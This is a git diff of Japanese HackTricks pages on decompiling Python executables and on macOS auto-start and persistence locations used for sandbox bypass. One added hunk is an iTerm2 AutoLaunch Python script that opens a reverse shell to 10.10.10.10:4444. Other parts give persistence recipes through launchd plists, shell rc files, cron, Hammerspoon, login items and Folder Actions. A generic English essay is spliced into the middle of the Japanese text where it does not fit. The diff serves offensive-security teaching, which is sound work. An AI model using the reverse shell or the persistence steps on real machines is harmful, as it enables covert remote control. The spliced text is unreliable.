Translated ['forensics/basic-forensic-methodology/specific-software-file
After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
Before Width: | Height: | Size: 51 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 322 KiB |
Before Width: | Height: | Size: 322 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 176 KiB |
Before Width: | Height: | Size: 176 KiB After Width: | Height: | Size: 152 KiB |
Before Width: | Height: | Size: 152 KiB After Width: | Height: | Size: 32 KiB |
|
@ -5,22 +5,22 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし **ハッキングのキャリア** に興味があり、**解読不能なものを解読する** ことに興味がある場合 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
**ハッキングのキャリア**に興味がある方、**解読不能なものを解読する** - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## コンパイルされたバイナリから .pyc へ
|
||||
## コンパイルされたバイナリから.pycへ
|
||||
|
||||
**ELF** コンパイルされたバイナリからは、次のコマンドで **.pyc** を取得できます:
|
||||
**ELF**コンパイルされたバイナリからは、次のコマンドで**.pyc**を取得できます:
|
||||
```bash
|
||||
pyi-archive_viewer <binary>
|
||||
# The list of python modules will be given here:
|
||||
|
@ -49,11 +49,11 @@ python pyinstxtractor.py executable.exe
|
|||
```bash
|
||||
uncompyle6 binary.pyc > decompiled.py
|
||||
```
|
||||
**確認してください**バイナリには**拡張子** "**.pyc**" があること(そうでない場合、uncompyle6 は動作しません)
|
||||
**確認してください**バイナリには**拡張子**「**.pyc**」があること(そうでない場合、uncompyle6は動作しません)
|
||||
|
||||
**uncompyle6** を実行する際に、**次のエラー**が発生する可能性があります:
|
||||
**uncompyle6**を実行する際に、**次のエラー**が発生する可能性があります:
|
||||
|
||||
### エラー:不明なマジックナンバー 227
|
||||
### エラー:不明なマジックナンバー227
|
||||
```bash
|
||||
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
|
||||
Unknown magic number 227 in /tmp/binary.pyc
|
||||
|
@ -94,7 +94,7 @@ Pythonで書かれた実行可能ファイルかどうかを判断するため
|
|||
|
||||
### ImportError: ファイル名:'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' が存在しません
|
||||
|
||||
現在、unpy2exeまたはpyinstxtractorを使用して得られるPythonバイトコードファイルは完全ではない場合があり、その結果、uncompyle6によってプレーンなPythonソースコードを取得することができません。これは、欠落しているPython **バイトコードバージョン番号**によるものです。そのため、prependオプションを追加しました。これにより、Pythonバイトコードバージョン番号が含まれ、デコンパイルのプロセスが容易になります。uncompyle6を使用して.pycファイルをデコンパイルしようとするとエラーが発生します。ただし、**prependオプションを使用すると、Pythonソースコードが正常にデコンパイルされたことが確認できます**。
|
||||
現在、unpy2exeまたはpyinstxtractorを使用して取得したPythonバイトコードファイルは完全ではない場合があり、その結果、uncompyle6によってプレーンなPythonソースコードを取得することができません。これは、欠落しているPython **バイトコードバージョン番号**によるものです。そのため、prependオプションを追加しました。これにより、Pythonバイトコードバージョン番号が含まれ、デコンパイルのプロセスが容易になります。uncompyle6を使用して.pycファイルをデコンパイルしようとするとエラーが発生します。ただし、**prependオプションを使用すると、Pythonソースコードが正常にデコンパイルされたことが確認できます**。
|
||||
```
|
||||
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
|
||||
Traceback (most recent call last):
|
||||
|
@ -112,7 +112,7 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
|
|||
```
|
||||
## Pythonアセンブリの分析
|
||||
|
||||
前の手順でPythonの「元の」コードを抽出できなかった場合は、アセンブリを抽出してみることができます(ただし、それほど詳細ではありませんので、再度元のコードを抽出することを試みてください)。[ここ](https://bits.theorem.co/protecting-a-python-codebase/)で、非常にシンプルなコードを見つけましたが、これは_.pyc_バイナリをディスアセンブルするためのものです(コードのフローを理解するのには幸運を祈ります)。もし_.pyc_がPython2のものであれば、Python2を使用してください。
|
||||
前の手順でPythonの「元の」コードを抽出できなかった場合は、アセンブリを抽出してみることができます(ただし、それほど詳細ではありませんので、再度元のコードを抽出することを試みてください)。[ここ](https://bits.theorem.co/protecting-a-python-codebase/)で、非常にシンプルなコードを見つけましたが、_.pyc_ バイナリをディスアセンブルするものです(コードのフローを理解するのに幸運を祈ります)。もし_.pyc_ がPython2のものであれば、Python2を使用してください。
|
||||
```bash
|
||||
>>> import dis
|
||||
>>> import marshal
|
||||
|
@ -162,8 +162,8 @@ True
|
|||
### py2exeを使用してペイロードを作成する方法:
|
||||
|
||||
1. [http://www.py2exe.org/](http://www.py2exe.org)からpy2exeパッケージをインストールします。
|
||||
2. ペイロードにはスクリプトを使用します(この場合、hello.pyという名前にします)。図1に示すようなスクリプトを使用します。オプション「bundle\_files」の値を1にすると、Pythonインタプリタを含むすべてが1つのexeにバンドルされます。
|
||||
3. スクリプトが準備できたら、「python setup.py py2exe」というコマンドを実行します。これにより、図2に示すように実行可能ファイルが作成されます。
|
||||
2. ペイロードには、この場合はhello.pyという名前を付けますが、図1のようなスクリプトを使用します。オプション「bundle\_files」の値を1に設定すると、Pythonインタプリタを含むすべてが1つのexeにバンドルされます。
|
||||
3. スクリプトが準備できたら、「python setup.py py2exe」というコマンドを実行します。これにより、図2のように実行可能ファイルが作成されます。
|
||||
```
|
||||
from distutils.core import setup
|
||||
import py2exe, sys, os
|
||||
|
@ -194,7 +194,7 @@ Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
|
|||
### PyInstallerを使用してペイロードを作成する方法:
|
||||
|
||||
1. pipを使用してPyInstallerをインストールします(pip install pyinstaller)。
|
||||
2. その後、コマンド「pyinstaller –onefile hello.py」を実行します('hello.py'は私たちのペイロードです)。これにより、すべてが1つの実行可能ファイルにバンドルされます。
|
||||
2. その後、コマンド「pyinstaller --onefile hello.py」を実行します('hello.py'は私たちのペイロードです)。これにより、すべてが1つの実行可能ファイルにバンドルされます。
|
||||
```
|
||||
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
||||
108 INFO: PyInstaller: 3.3.1
|
||||
|
@ -211,9 +211,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
|||
|
||||
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
||||
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、ハッキングできないものをハックしたいのであれば、**私たちは採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
もしあなたが**ハッキングのキャリア**に興味があり、**解読不可能なものをハック**したいのであれば - **私たちは採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -221,8 +221,8 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
|
@ -17,7 +17,7 @@
|
|||
## サンドボックス回避
|
||||
|
||||
{% hint style="success" %}
|
||||
ここでは、**サンドボックス回避**に役立つ起動場所を見つけることができます。これにより、単純に**ファイルに書き込んで待機**するだけで、非常に**一般的なアクション**、決まった**時間**、または通常はルート権限を必要としない**アクション**を実行できます。
|
||||
ここでは、**サンドボックス回避**に役立つ起動場所を見つけることができます。これにより、単純に**ファイルに書き込んで待機**し、非常に**一般的なアクション**、決まった**時間**、または通常はルート権限を必要としない**アクション**を実行できます。
|
||||
{% endhint %}
|
||||
|
||||
### Launchd
|
||||
|
@ -45,7 +45,7 @@
|
|||
|
||||
#### 説明と攻撃手法
|
||||
|
||||
**`launchd`**は、OX Sカーネルが起動時に実行する**最初のプロセス**であり、シャットダウン時に終了する最後のプロセスです。常に**PID 1**を持つべきです。このプロセスは、次の場所にある**ASEP** **plists**で指定された設定を**読み取り**、**実行**します。
|
||||
**`launchd`**は、OX Sカーネルによって起動時に実行される**最初のプロセス**であり、シャットダウン時に終了する最後のプロセスです。常に**PID 1**を持つべきです。このプロセスは、以下の場所にある**ASEP** **plists**で指定された設定を**読み取り、実行**します。
|
||||
|
||||
* `/Library/LaunchAgents`: 管理者によってインストールされたユーザーごとのエージェント
|
||||
* `/Library/LaunchDaemons`: 管理者によってインストールされたシステム全体のデーモン
|
||||
|
@ -90,12 +90,16 @@
|
|||
```bash
|
||||
launchctl list
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
ユーザーが所有するplistは、デーモンシステムワイドフォルダにあっても、タスクはユーザーとして実行され、rootとして実行されません。これにより、特権エスカレーション攻撃を防ぐことができます。
|
||||
{% endhint %}
|
||||
|
||||
### シェルの起動ファイル
|
||||
|
||||
解説: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\
|
||||
解説 (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||
|
||||
* サンドボックス回避に役立つ: [✅](https://emojipedia.org/check-mark-button)
|
||||
* サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button)
|
||||
|
||||
#### 場所
|
||||
|
||||
|
@ -103,23 +107,23 @@ launchctl list
|
|||
* **トリガー**: zshでターミナルを開く
|
||||
* **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
|
||||
* **トリガー**: zshでターミナルを開く
|
||||
* ルート権限が必要
|
||||
* rootが必要
|
||||
* **`~/.zlogout`**
|
||||
* **トリガー**: zshでターミナルを終了する
|
||||
* **`/etc/zlogout`**
|
||||
* **トリガー**: zshでターミナルを終了する
|
||||
* ルート権限が必要
|
||||
* rootが必要
|
||||
* 他にもあるかもしれない: **`man zsh`**
|
||||
* **`~/.bashrc`**
|
||||
* **トリガー**: bashでターミナルを開く
|
||||
* `/etc/profile` (動作しなかった)
|
||||
* `~/.profile` (動作しなかった)
|
||||
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
|
||||
* **トリガー**: xtermで起動することが期待されていますが、**インストールされていない**ため、インストールしてもこのエラーが表示されます: xterm: `DISPLAY is not set`
|
||||
* **トリガー**: xtermでトリガーされることを期待していますが、**インストールされていない**ため、インストール後でもこのエラーが発生します: xterm: `DISPLAY is not set`
|
||||
|
||||
#### 説明と攻撃手法
|
||||
|
||||
シェルの起動ファイルは、`zsh`や`bash`などのシェル環境が**起動する**ときに実行されます。macOSでは最近はデフォルトで`/bin/zsh`が使用され、**`Terminal`を開いたり、デバイスにSSH接続**したときには、このシェル環境が使用されます。`bash`や`sh`も利用可能ですが、明示的に起動する必要があります。
|
||||
シェルの起動ファイルは、`zsh`や`bash`などのシェル環境が**起動する**ときに実行されます。macOSでは、最近はデフォルトで`/bin/zsh`が使用され、**`Terminal`を開いたり、デバイスにSSH接続**したときには、このシェル環境に配置されます。`bash`や`sh`も利用可能ですが、明示的に起動する必要があります。
|
||||
|
||||
`man zsh`で読むことができるzshのマニュアルページには、起動ファイルの詳しい説明があります。
|
||||
```bash
|
||||
|
@ -224,7 +228,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
|
||||
#### 説明と攻撃手法
|
||||
|
||||
[**`.terminal`** スクリプト](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx)を作成して開くと、**ターミナルアプリケーション**が自動的に起動し、そこで指定されたコマンドが実行されます。ターミナルアプリに特別な権限(TCCなど)がある場合、コマンドはその特別な権限で実行されます。
|
||||
[**`.terminal`** スクリプト](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx)を作成して開くと、**ターミナルアプリケーション**が自動的に起動し、そこに指定されたコマンドが実行されます。ターミナルアプリに特別な権限(TCCなど)がある場合、コマンドはその特別な権限で実行されます。
|
||||
|
||||
以下を試してみてください:
|
||||
```bash
|
||||
|
@ -266,15 +270,15 @@ open /tmp/test.terminal
|
|||
#### 位置
|
||||
|
||||
* **`/Library/Audio/Plug-Ins/HAL`**
|
||||
* ルート権限が必要です
|
||||
* ルートアクセスが必要
|
||||
* **トリガー**: coreaudiodまたはコンピュータの再起動
|
||||
* **`/Library/Audio/Plug-ins/Components`**
|
||||
* ルート権限が必要です
|
||||
* ルートアクセスが必要
|
||||
* **トリガー**: coreaudiodまたはコンピュータの再起動
|
||||
* **`~/Library/Audio/Plug-ins/Components`**
|
||||
* **トリガー**: coreaudiodまたはコンピュータの再起動
|
||||
* **`/System/Library/Components`**
|
||||
* ルート権限が必要です
|
||||
* ルートアクセスが必要
|
||||
* **トリガー**: coreaudiodまたはコンピュータの再起動
|
||||
|
||||
#### 説明
|
||||
|
@ -297,7 +301,7 @@ open /tmp/test.terminal
|
|||
|
||||
#### 説明と攻撃手法
|
||||
|
||||
QuickLookプラグインは、ファイルのプレビューを**トリガーする**(Finderでファイルを選択した状態でスペースバーを押す)と、そのファイルタイプをサポートする**プラグインがインストールされている**場合に実行されます。
|
||||
QuickLookプラグインは、ファイルのプレビューを**トリガー**(Finderでファイルを選択した状態でスペースバーを押す)すると、**そのファイルタイプをサポートするプラグイン**がインストールされている場合に実行されます。
|
||||
|
||||
独自のQuickLookプラグインをコンパイルし、前述のいずれかの場所に配置してロードし、サポートされているファイルに移動してスペースを押すことでトリガーすることが可能です。
|
||||
|
||||
|
@ -373,7 +377,7 @@ crontab -l
|
|||
```
|
||||
ユーザーのすべてのcronジョブは、**`/usr/lib/cron/tabs/`**と**`/var/at/tabs/`**(root権限が必要)にあります。
|
||||
|
||||
MacOSでは、**特定の頻度**でスクリプトを実行するいくつかのフォルダが次の場所にあります:
|
||||
MacOSでは、**特定の頻度**でスクリプトを実行するいくつかのフォルダが見つかります。
|
||||
```bash
|
||||
# The one with the cron jobs is /usr/lib/cron/tabs/
|
||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
||||
|
@ -411,6 +415,55 @@ EOF
|
|||
|
||||
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
|
||||
```
|
||||
# macOS Auto Start Locations
|
||||
|
||||
macOS provides several locations where applications and processes can be configured to automatically start when the system boots up or when a user logs in. These auto start locations can be leveraged by both legitimate applications and potentially malicious software.
|
||||
|
||||
Understanding these auto start locations is important for system administrators and security professionals to ensure that only trusted applications are running on the system.
|
||||
|
||||
## Auto Start Locations
|
||||
|
||||
The following are the common auto start locations in macOS:
|
||||
|
||||
1. **LaunchAgents**: This location contains property list files (`plist`) that define user-specific agents that are launched when a user logs in. These agents run in the user's context and can perform tasks on behalf of the user.
|
||||
|
||||
2. **LaunchDaemons**: This location contains property list files (`plist`) that define system-wide daemons that are launched when the system boots up. These daemons run in the background and can perform tasks that require elevated privileges.
|
||||
|
||||
3. **StartupItems**: This location contains scripts and executables that are executed during the system boot process. However, this location is deprecated starting from macOS 10.5 and should not be used for new installations.
|
||||
|
||||
4. **Login Items**: This location contains applications or documents that are automatically opened when a user logs in. Users can configure their login items in the System Preferences.
|
||||
|
||||
5. **Global Startup**: This location contains applications or scripts that are executed when any user logs in. These startup items are not specific to a particular user and are executed for all users.
|
||||
|
||||
## Verifying Auto Start Locations
|
||||
|
||||
To verify the auto start locations on a macOS system, you can use the following methods:
|
||||
|
||||
1. **Manual Inspection**: You can manually inspect the contents of the auto start locations using the Terminal or Finder. Look for any suspicious or unfamiliar files that may indicate the presence of malicious software.
|
||||
|
||||
2. **Command Line Tools**: macOS provides command line tools such as `launchctl` and `ls` that can be used to list and manage the auto start locations. These tools can help you identify and remove unwanted auto start entries.
|
||||
|
||||
3. **Third-Party Tools**: There are several third-party tools available that can scan and analyze the auto start locations for potential security issues. These tools can provide additional insights and automate the detection process.
|
||||
|
||||
## Conclusion
|
||||
|
||||
Understanding the auto start locations in macOS is crucial for maintaining the security and integrity of the system. By regularly inspecting and managing these locations, system administrators and security professionals can ensure that only trusted applications are running on the system and mitigate the risk of unauthorized or malicious software.
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
|
||||
#!/usr/bin/env python3
|
||||
import iterm2,socket,subprocess,os
|
||||
|
||||
async def main(connection):
|
||||
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
|
||||
async with iterm2.CustomControlSequenceMonitor(
|
||||
connection, "shared-secret", r'^create-window$') as mon:
|
||||
while True:
|
||||
match = await mon.async_get()
|
||||
await iterm2.Window.async_create(connection)
|
||||
|
||||
iterm2.run_forever(main)
|
||||
EOF
|
||||
```
|
||||
スクリプト **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** も実行されます:
|
||||
```bash
|
||||
do shell script "touch /tmp/iterm2-autolaunchscpt"
|
||||
|
@ -479,7 +532,7 @@ iTerm2の設定を悪用する他の方法がある可能性が非常に高い
|
|||
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon)は、**LUAスクリプト言語を通じてmacOSのスクリプト化を可能にする自動化ツール**です。AppleScriptのコードを埋め込むこともでき、シェルスクリプトを実行することもできます。
|
||||
|
||||
このアプリは、単一のファイル`~/.hammerspoon/init.lua`を探し、起動時にスクリプトが実行されます。
|
||||
このアプリは、単一のファイルである`~/.hammerspoon/init.lua`を探し、起動時にスクリプトが実行されます。
|
||||
```bash
|
||||
cat > "$HOME/.hammerspoon/init.lua" << EOF
|
||||
hs.execute("id > /tmp/hs.txt")
|
||||
|
@ -487,7 +540,7 @@ EOF
|
|||
```
|
||||
### SSHRC
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
|
||||
解説: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
|
||||
|
||||
* サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button)
|
||||
* ただし、sshが有効になっていて使用されている必要があります
|
||||
|
@ -533,7 +586,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
|||
#### 説明
|
||||
|
||||
システム環境設定 -> ユーザーとグループ -> **ログインアイテム** には、**ユーザーがログインしたときに実行されるアイテム** があります。\
|
||||
これらをコマンドラインからリストアップしたり、追加したり、削除したりすることができます。
|
||||
これらをコマンドラインからリストアップ、追加、削除することが可能です。
|
||||
```bash
|
||||
#List all items:
|
||||
osascript -e 'tell application "System Events" to get the name of every login item'
|
||||
|
@ -552,9 +605,9 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
|
|||
|
||||
(ログインアイテムに関する前のセクションを確認してください。これは拡張です)
|
||||
|
||||
**ZIP**ファイルを**ログインアイテム**として保存すると、**`Archive Utility`**がそれを開きます。たとえば、ZIPが**`~/Library`**に保存され、バックドアを含む**`LaunchAgents/file.plist`**というフォルダが含まれている場合、そのフォルダが作成され(デフォルトでは作成されません)、plistが追加されます。したがって、次回ユーザーが再ログインすると、plistで指定された**バックドアが実行されます**。
|
||||
**ZIP**ファイルを**ログインアイテム**として保存すると、**`Archive Utility`**がそれを開きます。たとえば、ZIPが**`~/Library`**に保存され、フォルダ**`LaunchAgents/file.plist`**がバックドアを含んでいる場合、そのフォルダが作成され(デフォルトでは作成されません)、plistが追加されます。したがって、次回ユーザーが再ログインすると、plistで指定された**バックドアが実行されます**。
|
||||
|
||||
別のオプションとして、ユーザーのホームディレクトリに**`.bash_profile`**と**`.zshenv`**というファイルを作成することもできます。したがって、LaunchAgentsフォルダが既に存在する場合でも、このテクニックは機能します。
|
||||
別のオプションとして、ユーザーのホームディレクトリに**`.bash_profile`**と**`.zshenv`**ファイルを作成することもできます。したがって、LaunchAgentsフォルダが既に存在する場合でも、このテクニックは機能します。
|
||||
|
||||
### At
|
||||
|
||||
|
@ -567,7 +620,7 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
|
|||
#### **説明**
|
||||
|
||||
「atタスク」は、**特定の時間にタスクをスケジュールする**ために使用されます。\
|
||||
これらのタスクはcronとは異なり、**一度だけ実行された後に削除される**一時的なタスクです。ただし、システムの再起動後も残るため、潜在的な脅威として排除することはできません。
|
||||
これらのタスクはcronと異なり、**一度だけ実行された後に削除**される**一時的なタスク**です。ただし、システムの再起動後も残るため、潜在的な脅威として排除することはできません。
|
||||
|
||||
**デフォルトでは**無効ですが、**root**ユーザーは次のコマンドで**有効化**できます:
|
||||
```bash
|
||||
|
@ -666,9 +719,7 @@ total 32
|
|||
2. フォルダを右クリックし、「フォルダーアクションの設定...」を選択し、「サービスを実行」を選択し、スクリプトを手動でアタッチします。
|
||||
3. OSAScriptを使用して、Apple Eventメッセージを`System Events.app`に送信し、新しい`フォルダーアクション`をプログラムでクエリおよび登録します。
|
||||
|
||||
|
||||
|
||||
* `System Events.app`にApple Eventメッセージを送信するためのOSAScriptを使用して永続性を実装する方法です
|
||||
* これは、OSAScriptを使用してApple Eventメッセージを`System Events.app`に送信して永続性を実装する方法です。
|
||||
|
||||
実行されるスクリプトは次のとおりです:
|
||||
|
||||
|
@ -696,16 +747,20 @@ tell application "Finder"
|
|||
try
|
||||
set currentScripts to scripts of folder folderPath
|
||||
repeat with currentScript in currentScripts
|
||||
if name of currentScript is equal to "folder" then
|
||||
remove currentScript
|
||||
if name of currentScript is equal to name of scriptPath then
|
||||
exit repeat
|
||||
end if
|
||||
end repeat
|
||||
if currentScript is not equal to scriptPath then
|
||||
make new script file at folderPath with properties {name:name of scriptPath, contents:read scriptPath}
|
||||
end if
|
||||
on error
|
||||
make new script file at folderPath with properties {name:name of scriptPath, contents:read scriptPath}
|
||||
end try
|
||||
make new script file at folderPath with properties {name:"folder", contents:scriptPath}
|
||||
end tell
|
||||
```
|
||||
|
||||
このスクリプトを実行すると、指定したフォルダにフォルダアクションが有効になり、以前にコンパイルされたスクリプトが添付されます。
|
||||
このスクリプトは、指定したフォルダにフォルダアクションを有効にし、以前にコンパイルされたスクリプトを添付します。フォルダアクションが有効でない場合は、有効にします。指定したフォルダ内のスクリプトを確認し、既に同じ名前のスクリプトが存在する場合は、スクリプトの作成をスキップします。スクリプトが存在しない場合は、新しいスクリプトファイルを作成します。
|
||||
```javascript
|
||||
var se = Application("System Events");
|
||||
se.folderActionsEnabled = true;
|
||||
|
